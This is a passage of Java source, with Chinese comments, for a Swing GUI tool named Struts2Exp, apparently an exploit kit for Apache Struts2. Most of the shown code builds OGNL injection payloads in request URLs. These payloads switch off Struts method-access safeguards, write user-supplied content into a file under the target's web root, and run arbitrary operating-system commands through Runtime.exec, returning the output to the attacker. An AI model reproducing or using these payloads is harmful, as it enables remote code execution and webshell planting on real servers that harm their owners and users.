            // desUrl += "('\\u0023_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003d\\u0023foo')(\\u0023foo\\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\\43req\\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('\\43fos\\75new\\40java.io.FileOutputStream(new\\40java.lang.StringBuilder(\\43req.getServletContext().getRealPath(%22\\u005c%22)).append(%22/"+this.fileNameTextField.getText().trim().replace(" ", "%20") +"%22).toString())')(d))&(i3)(('\\43fos.write(\\43req.getParameter(%22t%22).getBytes())')(d))&(i4)(('\\43fos.close()')(d))&&(i5)(('\\43xman\\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i6)(('\\43xman.getWriter().println(\\43req.getServletContext().getRealPath(%22\\u005c%22))')(d))";
             desUrl += "('\\u0023_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003d\\u0023foo')(\\u0023foo\\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\\43req\\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i12)(('\\43xman\\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i13)(('\\43xman.getWriter().println(\\43req.getServletContext().getRealPath(%22\\u005c%22))')(d))&(i2)(('\\43fos\\75new\\40java.io.FileOutputStream(new\\40java.lang.StringBuilder(\\43req.getRealPath(%22\\u005c%22)).append(%22/"+this.fileNameTextField.getText().trim().replace(" ", "%20") +"%22).toString())')(d))&(i3)(('\\43fos.write(\\43req.getParameter(%22t%22).getBytes())')(d))&(i4)(('\\43fos.close()')(d))";
               URL url = new URL(desUrl);  
            HttpURLConnection url_con = (HttpURLConnection) url.openConnection();
            url_con.setRequestMethod("POST");
 //   System.out.println(desUrl);
            url_con.setConnectTimeout(5000);//（单位：毫秒）jdk
            // 1.5换成这个,连接超时
            url_con.setReadTimeout(5000);//（单位：毫秒）jdk 1.5换成这个,读操作超时
            url_con.setDoOutput(true);
            String post = "t="+URLEncoder.encode(this.unloadContent1TextPane.getText(),
                        "UTF-8");
          //  System.out.println(post);
            byte[] b = post.getBytes();
            url_con.getOutputStream().write(b, 0, b.length);
            url_con.getOutputStream().flush();
            url_con.getOutputStream().close();
             InputStream in = url_con.getInputStream();
            BufferedReader rd = new BufferedReader(new InputStreamReader(in,
                    "GBK"));
            String tempLine = rd.readLine();
            StringBuffer temp = new StringBuffer();
            String crlf=System.getProperty("line.separator");
            while (tempLine != null)
            {
                temp.append(tempLine);
                temp.append(crlf);
                tempLine = rd.readLine();
            }
            this.echoResult2TextPane.setText(temp.toString().trim());
            this.echoResult2TextPane.setCaretPosition(0);
            rd.close();
            in.close();
            
             
        } catch (Exception ex) {
            Logger.getLogger(Struts2Exp.class.getName()).log(Level.SEVERE, null, ex);
        }
    }
    /**
     * @param args the command line arguments
     */
    public static void main(String args[]) {
        java.awt.EventQueue.invokeLater(new Runnable() {

            public void run() {
                new Struts2Exp().setVisible(true);
            }
        });
    }

    private String getURLContent2(String desUrl,String cmd)
    {
     
          try {
         cmd = cmd.replace(" ","%20");
         URL tmpUrl = new URL(desUrl);
         if(tmpUrl.getQuery()== null)
             desUrl += "?";
         else
             desUrl += "&";
//            String string = new String(new byte[]{0,0,0,0,0,0,0,0,0,0});
//            string.concat(string)
    //     String urlStr = desUrl + "('\\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(b))&('\\43c')(('\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\\43webRootzfilecmd\\75\\'"+cmd+"\\40\\'')(d))&(h)(('\\43webRootzpro\\75@java.lang.Runtime@getRuntime().exec(\\43webRootzfilecmd)')(d))&(i)(('\\43webRootzproreader\\75new\\40java.io.DataInputStream(\\43webRootzpro.getInputStream())')(d))&(i01)(('\\43webStr\\75new\\40byte["+buffer+"]')(d))&(i1)(('\\43webRootzproreader.readFully(\\43webStr)')(d))&(i111)(('\\43webStr12\\75new\\40java.lang.String(\\43webStr)')(d))&(i2)(('\\43xman\\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\\43xman\\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\\43xman.getWriter().println(\\43webStr12)')(d))&(i99)(('\\43xman.getWriter().close()')(d))";
         String urlStr = desUrl + "('\\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(b))&('\\43c')(('\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\\43req\\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\\43webRootzpro\\75@java.lang.Runtime@getRuntime().exec(\\43req.getParameter(%22cmd%22))')(d))&(i)(('\\43webRootzproreader\\75new\\40java.io.DataInputStream(\\43webRootzpro.getInputStream())')(d))&(i01)(('\\43webStr\\75new\\40byte["+buffer+"]')(d))&(i1)(('\\43webRootzproreader.readFully(\\43webStr)')(d))&(i111)(('\\43webStr12\\75new\\40java.lang.String(\\43webStr)')(d))&(i2)(('\\43xman\\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\\43xman\\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\\43xman.getWriter().println(\\43webStr12)')(d))&(i99)(('\\43xman.getWriter().close()')(d))&cmd=";
          urlStr += cmd;
            //  System.out.println(urlStr);
         URL url = new URL(urlStr);        // 将urlstr字符串网址实例化为URL定位地址s
             //  System.out.println(url);
               
               URLConnection urlConn = url.openConnection();   //打开网站链接s
               
               BufferedReader reader = new BufferedReader(new InputStreamReader(
                 urlConn.getInputStream()));            //实例化输入流，并获取网页代码
               String s;                                         //依次循环，至到读的值为空
               StringBuilder sb = new StringBuilder();
               while ((s = reader.readLine()) != null) {
                sb.append(s).append("\n");     
               }
             reader.close();
             return sb.toString().trim();
                }
          catch(Exception ex)
          {
              ex.printStackTrace();
              return null;
          }
    }
    private String getContent(String urlStr,String charset)
    {
        try{
        URL url = new URL(urlStr);        // 将urlstr字符串网址实例化为URL定位地址s
             //  System.out.println(url);
               
               URLConnection urlConn = url.openConnection();   //打开网站链接s
               
               BufferedReader reader = new BufferedReader(new InputStreamReader(
                 urlConn.getInputStream(),charset));            //实例化输入流，并获取网页代码
               String s;                                         //依次循环，至到读的值为空
               StringBuilder sb = new StringBuilder();
               while ((s = reader.readLine()) != null) {
                sb.append(s).append("\n");     
               }
             reader.close();
             return sb.toString().trim();
                }
          catch(Exception ex)
          {
              ex.printStackTrace();
              return null;
          }
    }

    // Variables declaration - do not modify                     
    private javax.swing.JTextPane cmdEchoResultTextPane;
    private javax.swing.JTextField cmdEchoTextField;
    private javax.swing.JTextField dstURL;
    private javax.swing.JTextPane echoResult1TextPane;
    private javax.swing.JTextPane echoResult2TextPane;
    private javax.swing.JTextField fileNameTextField;
    private javax.swing.JTextField filePathTextField;
    private javax.swing.JButton jButton1;
    private javax.swing.JButton jButton2;
    private javax.swing.JButton jButton3;
    private javax.swing.JButton jButton4;
    private javax.swing.JComboBox jComboBox1;
    private javax.swing.JLabel jLabel1;
    private javax.swing.JLabel jLabel2;
    private javax.swing.JLabel jLabel3;
    private javax.swing.JLabel jLabel4;
    private javax.swing.JLabel jLabel5;
    private javax.swing.JLabel jLabel6;
    private javax.swing.JPanel jPanel1;
    private javax.swing.JPanel jPanel2;
    private javax.swing.JPanel jPanel3;
    private javax.swing.JPanel jPanel4;
    private javax.swing.JPanel jPanel5;
    private javax.swing.JScrollPane jScrollPane1;
    private javax.swing.JScrollPane jScrollPane2;
    private javax.swing.JScrollPane jScrollPane3;
    private javax.swing.JScrollPane jScrollPane4;
    private javax.swing.JScrollPane jScrollPane5;
    private javax.swing.JScrollPane jScrollPane6;
    private javax.swing.JTabbedPane jTabbedPane1;
    private javax.swing.JTextField jTextField1;
    private javax.swing.JTextPane jTextPane1;
    private javax.swing.JTextPane unloadContent1TextPane;
    private javax.swing.JButton uploadButton;
    private javax.swing.JTextPane uploadContentTextPane;
    // End of variables declaration                   
}
